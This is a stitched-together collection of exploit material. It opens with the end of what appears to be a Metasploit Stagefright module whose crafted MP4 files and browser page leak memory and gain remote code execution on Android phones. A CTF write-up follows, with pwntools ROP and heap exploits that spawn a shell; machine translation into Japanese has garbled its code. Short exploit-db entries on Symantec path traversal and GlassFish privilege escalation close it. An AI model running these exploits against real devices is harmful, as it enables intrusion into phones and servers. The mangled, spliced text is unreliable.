more_data << get_metaitem('dura', 'in64', ptr_to_vector_vtable)
end
# The tx3g2 then needs to trigger the integer overflow, but can contain any
# contents. The overflow will terminate at the end of the file.
#
# NOTE: The second tx3g chunk's overhead ends up in the slack space between
# the replaced placeholder and the MetaData Vector contents.
big_num = 0x1ffffffff - tx3g_1.length + 1 + vector_alloc_size
tx3g_2 = get_atom('tx3g', more_data, big_num)
# Create a minimal, verified 'trak' to satisfy mLastTrack being set
stbl_data = get_stsc(1)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
stbl = get_atom('stbl', stbl_data)
verified_trak = get_atom('trak', stbl)
# Start putting it all together into a track.
trak_data = ''
if is_samsung
# Put some legitimate duration information so we know if we failed
mdhd_data = [ 0 ].pack('N') # version
mdhd_data << "\x00" * 8 # padding
mdhd_data << [ 1 ].pack('N') # timescale
mdhd_data << [ 314 ].pack('N') # duration
mdhd_data << [ 0 ].pack('n') # lang
trak_data << get_atom('mdhd', mdhd_data)
end
# Add this so that our file is identified as video/mp4
mp4v_data = ''
mp4v_data << [ 0 ].pack('C') * 24 # padding
mp4v_data << [ 1024 ].pack('n') # width
mp4v_data << [ 768 ].pack('n') # height
mp4v_data << [ 0 ].pack('C') * (78 - mp4v_data.length) # padding
trak_data << get_atom('mp4v', mp4v_data) # satisfy hasVideo = true
# Here, we cause allocations such that we can replace the placeholder...
if is_samsung
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
trak_data << stbl # Cause the growth of the track->meta Vector
else
trak_data << stbl # Cause the growth of the track->meta Vector
trak_data << placeholder # Somethign we can free
trak_data << shape_vector # Eat the loose block...
end
# Add the thing whose entry in the MetaData vector we want to overwrite...
trak_data << near_sampiter
# Get our overflow data into memory
trigger = ''
trigger << tx3g_1
# Free the place holder
trigger << get_atom('titl', ('t' * 4) + ('BBBB' * vector_alloc_size) + [ 0 ].pack('C'))
# Overflow the temporary buffer into the following MetaData array
trigger << tx3g_2
# !!! NOTE !!!
# On Samsung devices, the failure that causes ERR to be returned from
# 'tx3g' processing leads to "skipTrack" being set. This means our
# nasty track and it's metadata get deleted and not returned to the
# browser -- effectively killing the infoleak.
#
# However! It also handles "skipTrack" being set specially and does not
# immediately propagate the error to the caller. Instead, it returns OK.
# This allows us to triggering the bug multiple times in one file, or --
# as we have in this case -- survive after and return successfully.
if is_samsung
# Add this as a nested track!
trak_data << get_atom('trak', trigger)
else
trak_data << trigger
end
trak = get_atom('trak', trak_data)
# On Samsung devices, we could put more chunks here but they will
# end up smashing the temporary buffer further...
chunks = []
chunks << get_ftyp()
chunks << get_atom('moov')
chunks << verified_trak * 0x200
chunks << shape_vector * groom_count
chunks << trak
mp4 = chunks.join
mp4
end
def get_mp4_rce(my_target, peer)
# MPEG4 Fileformat Reference:
# http://qtra.apple.com/index.html
#
# Structure:
# [File type Chunk][Other Atom Chunks]
#
# Where [Chunk] == [Atom/Box Length][Atom/Box Type][Atom/Box Data]
#
chunks = []
chunks << get_ftyp()
# Note, this causes a few allocations
moov_data = ''
mvhd_data = [ 0, 0x41414141 ].pack('N*')
mvhd_data << 'B' * 0x5c
moov_data << get_atom('mvhd', mvhd_data)
# Add a minimal, verified 'trak' to satisfy mLastTrack being set
verified_trak = ''
stbl_data = get_stsc(0x28)
stbl_data << get_atom('stco', [ 0, 0 ].pack('N*')) # version, mNumChunkOffsets
stbl_data << get_atom('stsz', [ 0, 0, 0 ].pack('N*')) # version, mDefaultSampleSize, mNumSampleSizes
stbl_data << get_atom('stts', [ 0, 0 ].pack('N*')) # version, mTimeToSampleCount
verified_trak << get_atom('trak', get_atom('stbl', stbl_data))
# Add it to the file
moov_data << verified_trak
# The spray_addr field is typically determined empirically (by testing), but
# has proven to be fairly predictable (99%). However, it does vary from
# one device to the next (probably determined by the pre-loaded libraries).
spray_addr = 0xb0c08000
spray_addr = my_target['SprayAddress'] if not my_target['SprayAddress'].nil?
# Construct a single page that we will spray
page = build_spray(my_target, peer, spray_addr)
return nil if page.nil?
# Build a big block full of spray pages and and put it in an avcC chunk
# (but don't add it to the 'moov' yet)
spray = page * (((16 * 1024 * 1024) / page.length) - 20)
avcc = get_atom('avcC', spray)
# Make the nasty trak
tkhd1 = ''
tkhd1 << [ 0 ].pack('C') # version
tkhd1 << 'D' * 3 # padding
tkhd1 << 'E' * (5*4) # {c,m}time, id, ??, duration
tkhd1 << 'F' * 0x10 # ??
tkhd1 << [
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0 # dy
].pack('N*')
tkhd1 << 'G' * 0x14 # ??
# Add the tkhd (track header) to the nasty track
trak1 = ''
trak1 << get_atom('tkhd', tkhd1)
# Build and add the 'mdia' (Media information) to the nasty track
mdia1 = ''
mdhd1 = [ 0 ].pack('C') # version
mdhd1 << 'D' * 0x17 # padding
mdia1 << get_atom('mdhd', mdhd1)
mdia1 << get_atom('hdlr', 'F' * 0x38) # Media handler
dinf1 = ''
dinf1 << get_atom('dref', 'H' * 0x14) # Data information box
minf1 = ''
minf1 << get_atom('smhd', 'G' * 0x08)
minf1 << get_atom('dinf', dinf1)
stbl1 = get_stsc(2)
minf1 << get_atom('stbl', stbl1)
mdia1 << get_atom('minf', minf1)
trak1 << get_atom('mdia', mdia1)
# Add something to take up a slot in the 0x20 size range
# NOTE: We have to be able to free this later...
block = 'Q' * 0x1c
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Add a Track (hopefully right after)
trak1 << verified_trak
# Add the avcC chunk with the heap spray. We add it here so it's sure to be
# allocated when we get control of the program counter...
trak1 << avcc
# Build the first of the nasty pair of tx3g chunks that trigger the
# vulnerability
alloc_size = 0x20
overflow_size = 0xc0
overflow = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_1 = get_atom('tx3g', overflow)
trak1 << tx3g_1
# Free the original thing and put the tx3g temporary in it's place...
block = 'R' * 0x40
trak1 << get_atom('covr', get_atom('data', [ 0, 0 ].pack('N*') + block))
# Make the second one, which triggers the integer overflow
big_num = 0x1ffffffff - 8 - overflow.length + 1 + alloc_size
more_data = [ spray_addr ].pack('V') * (overflow_size / 4)
tx3g_2 = get_atom('tx3g', more_data, big_num)
trak1 << tx3g_2
# Add the nasty track to the moov data
moov_data << get_atom('trak', trak1)
# Finalize the moov chunk
moov = get_atom('moov', moov_data)
chunks << moov
# Combine outer chunks together and voila.
mp4 = chunks.join
mp4
end
def on_request_uri(cli, request)
# If the request is for an mp4 file, we need to get the target from the @peers hash
if request.uri =~ /\.mp4\?/i
mp4_fn = request.uri.split('/')[-1]
mp4_fn = mp4_fn.split('?')[0]
mp4_fn[-4,4] = ''
peer = @peers[mp4_fn]
my_target = nil
my_target = peer[:target] if peer
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown peer")
return
end
# Extract the address(s) we just leaked...
sia_addr = request.qstring['sia'].to_i # near_sampiter data address
peer[:near_sampiter_addr] = sia_addr if sia_addr > 0
sfv_addr = request.qstring['sfv'].to_i # stagefright Vector<size_t> vtable ptr
peer[:vector_vtable_addr] = sfv_addr if sfv_addr > 0
# reset after a crash..
if sia_addr == 0 && sfv_addr == 0
peer[:near_sampiter_addr] = peer[:vector_vtable_addr] = nil
end
# Always use this header
out_hdrs = {'Content-Type'=>'video/mp4'}
if peer[:vector_vtable_addr].nil?
# Generate the nasty MP4 to leak infoz
mode = "infoleak"
mp4 = get_mp4_leak(my_target, peer)
else
mode = "RCE"
mp4 = get_mp4_rce(my_target, peer)
if mp4.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Failed to generate RCE MP4")
return
end
end
# Send the nasty MP4 file to trigger the vulnerability
if request.headers['Accept-Encoding'] and request.headers['Accept-Encoding'].include? 'gzip'
mp4 = Rex::Text.gzip(mp4)
out_hdrs.merge!('Content-Encoding' => 'gzip')
gzip = "gzip'd"
else
gzip = "raw"
end
client = "Browser"
if request.headers['User-Agent'].include? 'stagefright'
client = "SF"
end
addrs = "heap: 0x%x, code: 0x%x" % [ peer[:near_sampiter_addr].to_i, peer[:vector_vtable_addr].to_i ]
print_status("Sending #{mode} #{gzip} MPEG4 (#{mp4.length} bytes) to #{cli.peerhost}:#{cli.peerport}... (#{addrs} from #{client})")
# Send the nastiness!
send_response(cli, mp4, out_hdrs)
return
end
# Initialize a target. If none suitable, then we don't continue.
my_target = target
if my_target.name =~ /Automatic/
my_target = get_target(request)
if my_target.nil?
send_not_found(cli)
print_error("#{cli.peerhost}:#{cli.peerport} - Requested #{request.uri} - Unknown user-agent: #{request['User-Agent'].inspect}")
return
end
vprint_status("Target selected: #{my_target.name}")
end
# Generate an MP4 filename for this peer
mp4_fn = rand_text_alpha(11)
# Save the target for when they come back asking for this file
# Also initialize the leak address to the first one
@peers[mp4_fn] = { :target => my_target }
# Send the index page
mp4_uri = "#{get_resource.chomp('/')}/#{mp4_fn}.mp4"
html = %Q^<html>
<head>
<title>Please wait...</title>
<script>
var video; // the video tag
var to_id; // timeout ID
var req_start; // when we requested the video
var load_start; // when we loaded the video
// Give mediaserver some time to settle down after restarting -- increases reliability
var waitTime = 100; // 6000;
var error = false;
var near_sampiter_addr = -1;
var vector_vtable_addr = -1;
var crashes = 0;
function duration_changed() {
var now = Date.now();
var req_time = now - req_start;
var load_time = now - load_start;
console.log('duration changed to: ' + video.duration + ' (load: ' + load_time + ', req: ' + req_time + '), 0x' + video.videoWidth.toString(16) + ' x 0x' + video.videoHeight.toString(16));
if (load_time > 2000) {
// probably crashed. reset the entire process..
near_sampiter_addr = -1;
vector_vtable_addr = -1;
waitTime = 6000;
crashes += 1;
if (crashes > 5) {
console.log('too many crashes!!!');
stop_everything();
}
}
else {
// if we got the near_sampiter_addr already, we are now trying to read the code pointer.
// otherwise, we're trying to find near_sampiter_addr...
if (near_sampiter_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.videoHeight != 768) { // XXX: TODO: parameterize
if (video.videoHeight != 0) { // wtf? crashed??
value = video.videoHeight;
console.log('leaked heap pointer: 0x' + value.toString(16));
near_sampiter_addr = value;
}
}
} else if (vector_vtable_addr == -1) {
// if we get this value, we failed to overwrite the metadata. try again.
if (video.duration != 314) { // XXX: TODO: parameterize
// zero means a value that could not be represented...
if (video.duration != 0) {
var value = Math.round(video.duration * 1000000);
console.log('leaked memory: ' + video.duration + ' (near_sampiter_addr: 0x' + near_sampiter_addr.toString(16) + '): 0x' + value.toString(16));
vector_vtable_addr = value;
}
}
}
// otherwise, we just keep trying with the data we have...
}
if (error == false) {
if (vector_vtable_addr == -1) {
to_id = setTimeout(reload_leak, waitTime);
} else {
to_id = setTimeout(reload_rce, waitTime);
}
waitTime = 100;
}
}
function stop_everything() {
if (error == false) {
console.log('---- GIVING UP!! ----');
error = true;
}
if (to_id != -1) {
clearTimeout(to_id);
}
}
function start() {
video = document.getElementById('vid');
video.onerror = function() {
console.log(' onError called!');
stop_everything();
}
video.ondurationchange = duration_changed;
//reload_rce();
reload_leak();
}
function get_uri() {
var rn = Math.floor(Math.random() * (0xffffffff - 1)) + 1;
var uri = '#{mp4_uri}?x=' + rn;
if (near_sampiter_addr != -1) {
uri += '&sia=' + near_sampiter_addr;
}
if (vector_vtable_addr != -1) {
uri += '&sfv=' + vector_vtable_addr;
}
return uri;
}
function reload_leak() {
to_id = -1;
var xhr = new XMLHttpRequest;
xhr.responseType = 'blob';
xhr.onreadystatechange = function() {
if (xhr.readyState == 4) {
if (xhr.status != 200 || !xhr.response) {
stop_everything();
return;
}
load_start = Date.now();
try {
//var url = URL.createObjectURL(xhr.response);
var a = new FileReader();
a.onload = function(e) {
//console.log('onload: ' + e.target.result);
video.src = e.target.result
};
a.onerror = function(e) { console.log('blob 2 data error: ' + e.error); }
a.readAsDataURL(xhr.response);
} catch(e) {
console.log(' ERROR: ' + e.message);
stop_everything();
}
}
};
xhr.open('GET', get_uri(), true);
req_start = Date.now();
xhr.send();
}
function reload_rce() {
to_id = -1;
video.src = get_uri();
}
</script></head>
<body onload='start()'>
<video id=vid width=1px controls>
Your browser does not support VIDEO tags.
</video><br />
Please wait while we locate your content...
</body>
</html>
^
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
send_response(cli, html, {'Content-Type'=>'text/html'})
end
#
# Return some firmware-specific values to the caller.
#
# The VectorRVA field is extracted using the following command:
#
# $ arm-eabi-readelf -a libstagefright.so | grep _ZTVN7android6VectorIjEE
#
def get_details(my_target)
details = {
'lrx' => {
'VectorRVA' => 0x10ae30,
'PivotStrategy' => 'lrx',
'Pivot1' => 0x67f7b, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0xaf9dd, # ldm.w r4, {sp} ; pop {r3, pc}
'Adjust' => 0x475cd # pop {r3, r4, pc}
},
'lmy-1' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-1',
'Pivot1' => 0x68783, # ldr r4, [r0] ; ldr r1, [r4, #0x10] ; blx r1
'Pivot2' => 0x81959, # ldm.w r4, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'lmy-2' => {
'VectorRVA' => 0x10bd58,
'PivotStrategy' => 'lmy-2',
'Pivot1' => 0x6f093, # ldr r0, [r0, #0x10] ; ldr r3, [r0] ; ldr r1, [r3, #0x18] ; blx r1
'Pivot2' => 0x81921, # ldm.w r0!, {r1, ip, sp, pc}
'Adjust' => 0x479b1 # pop {r3, r4, pc}
},
'shamu / LYZ28E' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e91, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'shamu / LYZ28J' => {
'VectorRVA' => 0x116d58,
'PivotStrategy' => 'lyz',
'Pivot1' => 0x91e49, # ldr r0, [r0] ; ldr r6, [r0] ; ldr r3, [r6] ; blx r3
'Pivot2' => 0x72951, # ldm.w r0, {r0, r2, r3, r4, r6, r7, r8, sl, fp, sp, lr, pc}
'Adjust' => 0x44f81 # pop {r3, r4, pc}
},
'sm-g900v / OE1' => {
'VectorRVA' => 0x174048,
'PivotStrategy' => 'sm-g900v',
'Pivot1' => 0x89f83, # ldr r4, [r0] ; ldr r5, [r4, #0x20] ; blx r5
'Pivot2' => 0xb813f, # ldm.w r4!, {r5, r7, r8, fp, sp, lr} ; cbz r0, #0xb8158 ; ldr r1, [r0] ; ldr r2, [r1, #4] ; blx r2
'Adjust' => 0x65421 # pop {r4, r5, pc}
}
}
details[my_target['Rop']]
end
end
web
hackme
最初にファイルがアップロードされ、UTF-16のエンコードがバイパスされ、プロンプトに応じてファイル名が爆破されます。最後の4桁を爆破0000-9999にアクセスできます。 12時間であることに注意してください。
pwn
babyrop
デバッグ
#_*_ coding:utf-8 _*_
PWNインポートから *
npとしてnumpyをインポートします
context.log_level='debug'
#context.terminal=['tmux'、 'splitw'、 '-h']
prog='./babyrop'
#elf=elf(prog)
p=process(prog)#、env={'ld_preload':' ./libc-2.27.so '})
libc=elf( './libc-2.27.so')
#P=remote( '123.57.207.81'、44823)
def debug(addr、pie=false):
debug_str=''
PIE:の場合
text_base=int(os.popen( 'pmap {} | awk' {{print $ 1}} ''。format(p.pid))。readlines()[1]、16)
addr:のiの場合
debug_str+='b *{} \ n'.format(hex(text_base+i))
gdb.attach(p、debug_str)
else:
addr:のiの場合
debug_str+='b *{} \ n'.format(hex(i))
gdb.attach(p、debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
s=lambdaデータ:p.send(str(data))#inデータがintであるケース
SA=Lambda Delim、データ:p.sendafter(str(delim)、str(data))
SL=LAMBDAデータ:P.SENDLINE(STR(data))
SLA=Lambda Delim、データ:p.sendlineafter(str(delim)、str(data))
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims、drop=true :p.recvuntil(delims、drop)
それ=lambda :p.interactive()
uu32=lambda data :U32(data.ljust(4、 '\ 0'))
uu64=lambda data :U64(data.ljust(8、 '\ 0'))
bp=lambda bkp :pdbg.bp(bkp)
li=lambda str1、data1 :log.success(str1+'======='+hex(data1))
DEF DBGC(ADDR):
gdb.attach(p、 'b*' + hex(addr) + '\ n c')
def lg(s、addr):
print( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s、addr))
sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'
sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ Xe3 \ Xcd \ XCD \
sh_x64_21='\ xf7 \ xe6 \ x50 \ x48 \ xbf \ x2f \ x62 \ x69 \ x6e \ x2f \ x2f \ x73 \ x68 \ x57 \ x48 \ x89 \ \ xe7 \ xb0 \ x0f \ x3b \ X0f
#https://www.exploit-db.com/shellcodes
#-----------------------------------------------------------------------------------------sa('name? \n','a'*0x19)
デバッグ([0x400752])
main=0x40075b
Val=0x400717
read_plt=0x400600
BSS=0x601010
puts_got=0x600fc0
puts_plt=0x4005d0
printf_plt=0x4005f0
sa( 'name?\ n'、 'a'*0x19)
ru( 'a'*0x19)
RDI=0x400913
canary=(uu64(ru( '、')[0:7]))8
LG(「カナリア」、カナリア)
SLA( '彼の挑戦\ n'、str(0x4009AE))
pay=(p64(0x601010+8)*3)
sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x40075c))
睡眠(0.5)
#pay=p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(val)+'\ n'
#S(支払い)
sa( 'name?\ n'、p64(rdi)+p64(puts_plt)+p64(0x40075b)+'\ n')
SLA( '彼の挑戦\ n'、str(0x4009AE))
pay=p64(puts_plt)+p64(0x400717)+'a'*8
sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x40075c))
sa( 'name?\ n'、p64(rdi)+p64(0x600fc0)+p64(0x0000000000040090c)+'\ n')
SLA( '彼の挑戦\ n'、str(0x4009AE))
pay=p64(puts_plt)+p64(0x400717)+'a'*8
sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x0000400911))
libc_base=uu64(ru( '\ x7f'、drop=false)[-6:]) - (0x7f23ededeaa0-0x7f23ede5e000)
lg( 'libc_base'、libc_base)
sa( 'name?\ n'、p64(rdi)+p64(libc.search( '/bin/sh')。
SLA( '彼の挑戦\ n'、str(0x4009AE))
pay=p64(puts_plt)+p64(0x400717)+'a'*8
sa( 'message \ n'、pay+p64(canary)+p64(bss+8)+p64(0x00000000000400911))
lg( 'libc_base'、libc_base)
それ()
本屋
uaf fastbin+tcache
#_*_ coding:utf-8 _*_
PWNインポートから *
context.log_level='debug'
prog='./bookshop'
#elf=elf(prog)
p=process(prog)#、env={'ld_preload':' ./libc-2.27.so '})
libc=elf( './libc-2.31.so')
#p=remote( '123.57.132.168'、30042)
def debug(addr、pie=true):
debug_str=''
PIE:の場合
text_base=int(os.popen( 'pmap {} | awk' {{print $ 1}} ''。format(p.pid))。readlines()[1]、16)
addr:のiの場合
debug_str+='b *{} \ n'.format(hex(text_base+i))
gdb.attach(p、debug_str)
else:
addr:のiの場合
debug_str+='b *{} \ n'.format(hex(i))
gdb.attach(p、debug_str)
def dbg():
gdb.attach(p)
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
s=lambdaデータ:p.send(data)#inデータがintであるケース
sa=lambda delim、データ:p.sendafter(delim、data)
SL=Lambdaデータ:p.sendline(data)
SLA=Lambda Delim、データ:p.sendlineafter(delim、data)
r=lambda numb=4096 :p.recv(numb)
ru=lambda delims、drop=true :p.recvuntil(delims、drop)
それ=lambda :p.interactive()
uu32=lambda data :U32(data.ljust(4、 '\ 0'))
uu64=lambda data :U64(data.ljust(8、 '\ 0'))
bp=lambda bkp :pdbg.bp(bkp)
li=lambda str1、data1 :log.success(str1+'======='+hex(data1))
DEF DBGC(ADDR):
gdb.attach(p、 'b*' + hex(addr) + '\ n c')
def lg(s、addr):
print( '\ 033 [1; 31; 40m%20s-0x%x \ 033 [0m'%(s、addr))
sh_x86_18='\ x6a \ x0b \ x58 \ x53 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ xcd \ x80'
sh_x86_20='\ x31 \ xc9 \ x6a \ x0b \ x58 \ x51 \ x68 \ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ Xe3 \ Xcd \ XCD \
sh='\ x48 \ xb8 \ x2f \ x62 \ x69 \ x6e \ x2f \ x73 \ x68 \ x00 \ x50 \ x48 \ x89 \ xe7 \ x48 \ x31 \ xf6 \ x48 \ x31 \ xd2 \ x48 \ xc7 \ xc0 \ x3b \ x00 \ x00 \ x00 \ x0f \ x05 ''
#https://www.exploit-db.com/shellcodes
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
DEF Choice(IDX):
SLA( ''、str(idx))
def add(con):
選択(1)
SLA( ''、con)
DEF DELETE(IDX):
選択(2)
sla( 'bag?'、str(idx))
def Show(IDX):
選択(3)
sla( 'read?'、str(idx))
def exp():
sla( 'number?'、str(0x68))
範囲(10):のIの場合
追加(6*(p64(0)+p64(0x71)))
追加(p64(0)*4+(p64(0x421)+p64(0x41)))
範囲のIの場合(7):
削除(i)
削除(8)
show(1)
ru( 'content:')
heap=uu64(ru( '\ n')[-6:])
LG(「ヒープ」、ヒープ)
範囲のIの場合(7):
追加(6*(p64(0)+p64(0x71)))
削除(8)
追加(p64(ヒープ+0x40))
追加(p64(0))
追加(p64(0)*3+p64(0x421))
lg( 'heap'、heap+0x40)
#dbg()
削除(1)
show(1)
libc_base=uu64(ru( '\ x7f'、drop=false)[-6:]) - (0x7f3f97308be0-0x7f3f9711d000)
lg( 'libc'、libc_base)
fh=libc_base + libc.sym ['__ free_hook']
sys=libc_base + libc.sym ['system']
削除(2)
削除(20)
削除(0)
追加(p64(fh)*12)
追加( '/bin/sh \ x00')
追加(p64(sys))
削除(22)
それ()
__name__=='__main __' :の場合
exp()
re
ランダム
ディバッグキーが変更されていないことを見つけるためのデバッグ
q=[0x3e、0xcd、0xaa、0x8e、0x96、0x1f、0x89、0xcd、0xdb、0xf1、
0x70、0xf2、0xa9、0x9c、0xc2、0x8b、0xf2、0xfe、0xad、0x8b、
0x58、0x7c、0x2f、0x03、0x4a、0x65、0x31、0x89、0x76、0x57、
0x88、0xdf、0xb8、0xe9、0x01、0xe9、0xde、0xe5、0x86、0x68、
0x8f、0x24、0xd3、0x5a]
k=[0x58,0xa1,0xcb、0xe9,0xed、0x2c、0xec、0xfb、0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0xcccc6,0x80,0xbf 4,0x18,0x2e、0x73,0x56,0x52,0xb8,0x5b、0x66,0xed、0xbc、0x8a、0xd8,0x36,0x8f、0xe6,0xd3,0xb1,0x51,0xb9,0x59,0xd3,0x5a
f=''
範囲(len(k)):のiの場合
f+=chr(q [i]^k [i])
印刷f
フラグ{3e625fe0-FB18-4F87-93C1-1EC217F86796}
wow
UPX -Dシェルなし
このセクションにパッチを当てます
.text:00402352 $+5を呼び出します
.text:00402357追加[ESP+4+var_4]、6
.text:0040235b dec eax
.text:0040235c retfint __cdecl main(int argc、const char ** argv、const char ** envp)
{
int *v3; //esi
int *v4; //EBP
int v5; //ECX
int v6; //EBP
int v7; //esi
int v8; //ECX
int v9; //edi
署名されていないint i; //EBX
署名されていないINT V11; //ECX
署名されていないINT V12; //edx
署名されていないINT V13; //ECX
int *v15; //[ESP+10H] [EBP-68H]
int v16; //[ESP+2CH] [EBP-4CH]
int v17; //[ESP+30H] [EBP-48H]
int v18; //[ESP+34H] [EBP-44H]
Char V19 [24]; //[ESP+38H] [EBP-40H] byref
Char V20 [24]; //[ESP+50H] [EBP-28H] byref
int v21; //[ESP+74H] [EBP-4H]
int savedregs; //[ESP+78H] [EBP+0H] Byref
v4=savedregs;
sub_4024c0(v20);
V21=0;
sub_402740(dword_42afd0、v20);
scanf(v19、input);
lobyte(v21)=1;
if(strlen(v20)!=36)
{
printf((int)unk_42ae80、 '間違った\ n');
V17=0;
V16=0;
label_9:
*((_ byte *)v4-4)=0;
sub_402430(v4-16);
*(v4 -1)=-1;
sub_402430(v4-10);
return *(v4-19);
}
v18=sub_402420(v20);
V15=V3;
v5=*(_ dword *)(v18 + 34);
V6=12;
v7=0;
する
{
V7 +=0x67452301;
v8=v5 -1;
V9=V7 + 4;
for(i=0; i 8; ++ i)
{
V11=V8 + 2;
v12=(((v11 + 1)3) +(v7 ^(16 *(v11 + 1)))))))))))))))) +(v7 ^(16 *(v11 + 1))) ^((v11 + 1)3))
+((v11 5) ^(4 * v11)));
*(_ dword *)v12 +=v12;
V6 +=2;
V9 +=4;
v8=*(_ dword *)v12 + 1;
}
v13=*(_ dword *)v12 + 3;
*(_ dword *)(v7 + 32) +=(((((v13 + 1)3) +(v7 ^(16 *(v13 + 1))))))))))))))
+((v13 5) ^(4 * v13)));
v5=*(_ dword *)(v7 + 32);
V6 +=2;
}
while(v6);
V4=V15;
if(sub_4029f0(v15-10、v15-16))
{
printf((int)unk_42ae80、 'right \ n');
*(v15-19)=0;
goto label_9;
}
printf((int)unk_42ae80、 '間違った\ n');
*((_ byte *)v15-4)=0;
sub_402430(v15-16);
*(v15-1)=-1;
return sub_402430(v15-10);
}
ほぼXXTEA暗号化です
アセンブリを見て、key=[0xefcdab89、0x10325476、0x98badcfe、0xc3d2e1f0]を見つけます
デルタ0x67452301
秘密のテキスト
0xd8f758f5、0x526849db、0xe2d72563、0x485eefac、0x608f4bc6、0x5859f76a、0xb03565a3、0x3e4091c1、0xd3db5b9a
復号化するためにオンラインでスクリプトを見つけます
#include stdio.h
#include stdint.h
#define delta0x67452301
#define mx(((z5^y2) +(y3^z4))^((sum^y) +(key [(p3)^e]^z)))
void xxtea(uint32_t* v、int n、uint32_t* key)
{
uint32_t y、z、sum;
符号なしP、ラウンド、E;
if(n&g
# Title : Symantec Messaging Gateway <= 10.6.1 Directory Traversal
# Date : 28/09/2016
# Author : R-73eN
# Tested on : Symantec Messaging Gateway 10.6.1 (Latest)
# Software : https://www.symantec.com/products/threat-protection/messaging-gateway
# Vendor : Symantec
# CVE : CVE-2016-5312
# Vendor Advisory and Fix: https://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=&suid=20160927_00
#
# ___ __ ____ _ _
# |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | |
# | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | |
# | || | | | _| (_) | |_| | __/ | | | / ___ \| |___
# |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|
#
#
# DESCRIPTION:
#
# A charting component in the Symantec Messaging Gateway control center does not properly sanitize user input submitted for charting requests.
# This could potentially result in an authorized but less privileged user gaining access to paths outside the authorized directory.
# This could potentially provide read access to some files/directories on the server for which the user is not authorized.
#
The problem relies in the package kavachart-kcServlet-5.3.2.jar , File : com/ve/kavachart/servlet/ChartStream.java
The vulnerable code is
extends HttpServlet {
public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) {
block6 : {
try {
String string = httpServletRequest.getParameter("sn");
//**** Taking parameter "sn" and writing it to the "string variable"
if (string == null) break block6;
String string2 = string.substring(string.length() - 3);
byte[] arrby = (byte[])this.getServletContext().getAttribute(string);
//**** The string variable is passed here without any sanitanization for directory traversal
//**** and you can successfully use this to do a directory traversal.
if (arrby != null) {
httpServletResponse.setContentType("image/" + string2);
ServletOutputStream servletOutputStream = httpServletResponse.getOutputStream();
httpServletResponse.setContentLength(arrby.length);
servletOutputStream.write(arrby);
this.getServletContext().removeAttribute(string);
break block6;
}
POC:
https://IP-address:PORT/brightmail/servlet/com.ve.kavachart.servlet.ChartStream?sn=../../WEB-INF/lib
# Title: Glassfish Server - Unquoted Service Path Privilege Escalation
# Date: 28/09/2016
# Author: s0nk3y
# Software link: https://glassfish.java.net/download.html
# Tested: Windows Server 2008 r2 (Metasploitable3)
1. Description
Glassfish Server a service with an unquoted service path running with
SYSTEM privileges.
This could potentially allow an authorized but non-privileged local
user to execute arbitrary code with elevated privileges on the system.
2. Proof
C:\vagrant>sc qc domain1
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: domain1
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\glassfish\glassfish4\glassfish\domains\domain1\bin\domain1Service.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : domain1 GlassFish Server
DEPENDENCIES : tcpip
SERVICE_START_NAME : LocalSystem
3. Exploit:
A successful attempt would require the local user to be able to insert their
code in the system path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot.
If successful, the local user's code would execute with the elevated privileges
of the application.
Exploit Title: VLC Media Player 2.2.1 Buffer Overflow
2016-09-28
Author: sultan albalawi
